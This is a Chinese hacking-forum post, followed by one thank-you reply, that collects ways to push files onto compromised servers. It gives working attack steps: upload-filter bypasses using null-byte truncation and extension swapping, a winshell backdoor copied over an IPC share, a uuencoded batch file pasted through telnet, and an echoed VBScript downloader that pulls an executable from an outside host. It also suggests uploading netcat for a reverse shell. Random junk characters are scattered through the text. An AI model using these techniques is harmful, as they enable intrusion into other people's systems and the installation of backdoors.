发新话题
打印

[技术] 文件上传方法汇总 

文件上传方法汇总 

文件上传是很早以前的事了,最早那会常用的就是IPC连接,然后一个一个的COPY,自从动网upfile漏洞出来以后,各种脚本系统如PHP.JSP下的文件漏洞纷纷暴出,原理都是大同小异,没有过滤文件上传路径,导致可以抓包然后把空格20改成00,变成空字符NULL,系统是从右往左识别的,所以到空字符那就截断了,更简单的就是过滤文件上传类型不完整,改后缀就可以解决了,这些上传文件的漏洞,用万能上传工具就可以轻松搞定,不过漏洞文件名不同罢了。. t) u1 g0 v' }& {
还有一些另类的文件上传方法,是在系统做了比较好的防范下完成的,资料来源感谢CD-LION提供一。; |4 I( G0 {( t  K* @
先COPY个winshell.exe吧,开个telnet端口,命令行下总比在浏览器里方便啊.1 y! b. }1 Q  v0 Q" q
copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已复制一个文件/ M+ e' j. u, F* s2 S! x% {8 N# d, B
启动它 d:\downloads\winzip32\winshell.exe 浏览器窗口会停好久,; G7 @' m! g# _; B! @; i  R
不用等的,程序已经启动了,点停止,接着,3 v& E' d, a+ |" I0 z2 p% M
断开共享连接: net use \\myIP\c$ /del 完成
% a7 \7 G& O4 a) J1利用telnet上传文件 by :jiangyf@usa.net
$ Y' l( {7 L6 q; Q7 L% f! l  e: c: A
如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
6 H# ?/ R) f7 J( r: B4 e方法很简单:
& a* {. r2 i6 H9 q2 J1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子: , K0 s" s+ p! [9 e, Q9 f$ u( Z. G7 n
引用:
begin 644 file.bat
! G( ?0 A& L7 _6 eM.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT<E!>4%]J
6 p+ L2 E# C. v8 ?7 b1 e$ JM95@T85!9+7@M04%28#!@*CTP,'500D])04%!049+04]"4$E$34-"04Q%04I-
; l# l' T9 p- B3 t& e3 AM3D-"2D%,24%!14U-3D-"1D5'24=&0T%%3D="1T1(0T=02$='2DA#2$9(1$-!
, l$ j: W- v) F( X- h" Q' uM1TI(1$-!1T1'4$=.1TI'3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@
: O5 g: b/ {6 r5 ~$ {' S& x5 uM"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O
8 a2 R& d# `: Q; o! ME62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``
1 Q( ?9 c1 o/ U# V` * U. B5 n( ^/ n6 |
end 3 r  |+ s/ Z/ m8 \  y
sum -r/size 17903/262
1 g7 s1 V* G, b. O( ?* m# K# b
全部都是可见的ASCII字符了 5 f- m/ W+ m% J% I# z

/ |% `3 F: P; m6 P8 p% a2.用TELNET连接到主机后输入
" X0 i6 p) ^4 N7 Q3 \: H4 i" i/ `. D$ cat >a  
& |0 H1 J; g, I" F7 j, Z7 _然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
& z# E! o) V! c' c, w按^d
' h- Y* I4 X' N7 N在当前目录下产生文件a
# [, p/ i8 K0 b- D; h" z3.uudecode a
6 ]+ M8 w8 G+ H, |$ p: l( B文件复原,然后chmod即可 5 d- T. v. O; v$ p+ P) M! [
% c$ r& {, [8 q2 u0 v
3脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用
' A+ q5 j  V) S$ Y8 k( Q; d' @echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序 * {4 u) J# n6 X+ ^. h6 c
实例的简化: 5 ?* ~2 x( w  }8 E$ A! y
引用:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >167168.vbs
3 B, d8 N- X: h" xecho xPost.Open "GET"," http://167168.meibu.com/sr...,0 >>167168.vbs
' w9 i- h6 T) d- lecho xPost.Send() >>167168.vbs
4 m; J* z, ^+ d; c) j3 ^0 Decho Set sGet = CreateObject("ADODB.Stream") >>167168.vbs
: M6 q" ]  e% ]4 [echo sGet.Mode = 3 >>167168.vbs
, K% F% p0 a1 z7 @  uecho sGet.Type = 1 >>167168.vbs
* v; ~6 a# p5 `  L1 n% @% X% |9 aecho sGet.Open() >>167168.vbs
6 D! W; J6 a/ y% |8 v4 Hecho sGet.Write(xPost.responseBody) >>167168.vbs
( ~& A- X* e6 v% Vecho sGet.SaveToFile "srv.exe",2 >>167168.vbs 5 W2 |1 b; S1 e# A% D
然后执行cscript 167168.vbs就可以啦.其中, http://167168.meibu.com/sr...改成你放 $ ~8 `; i, `  K1 ~  v* {5 o1 c  h1 `" {8 _
文件的网站路径,srv.exe可以改成保存文件的路径。
% H7 W7 A$ h) {1 W7 |  O' ]; v# I/ F0 \) i6 P7 [. b
4.start its: http://167168.meibu.com/ca... (看清楚,小心论坛自动加的标签)
# Z' ]7 W  [3 b! X: G+ T  ~+ x0 n" w! icd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" (假设系统装在c盘,且当前环境是SYSTEM。如果是用户环境,修改Default User为该用户名)
5 w* |: l( B: Sdir /s ca[1].rar
3 Z; B$ X! c. s  H. K# W  i# t! H& }1 e然后会显示ca[1].rar的具体位置,比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\ca[1].rar / m1 L3 a( B" L  f' W5 ]- B; I- x' q1 f
最后:
9 {8 R2 z& `9 i5 G" t" c* G& Jcopy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar 7 D( a" F; y9 C* S$ n( m
del 0QMVC11H\ca[1].rar ; S" u1 D" d& ^0 ?$ s
5 x+ g0 X0 E  @0 p" j) E& t/ ]" x: I
还有可以用EXE2BAT转换成批处理,再上传,这种方法只限于小文件,文件太长粘贴时会出错,传个NC做反向连接是不错的选择。
. A. l/ ^1 N: o& d* d. V最近我还遇见一种校友录系统,只有注册后再能上传照片(SESSION),我注册后发现可以上传任意文件,可是只能解析图片类型的后缀,这种情况应该是在服务端又加了一层JSP认正,如果用本地提交可以绕过JSP认正,可是没有登陆,第一层SESSION验证就不会通过了,上传思路是把ASP文件改成JPG后缀上传,然后抓包,这里的数据包已经包含SESSION值了,再修改后缀为ASP,用NC提交,原理就是这样,具体测试在进行中..

TOP

谢谢楼主。。。。。。。。。。。

TOP

发新话题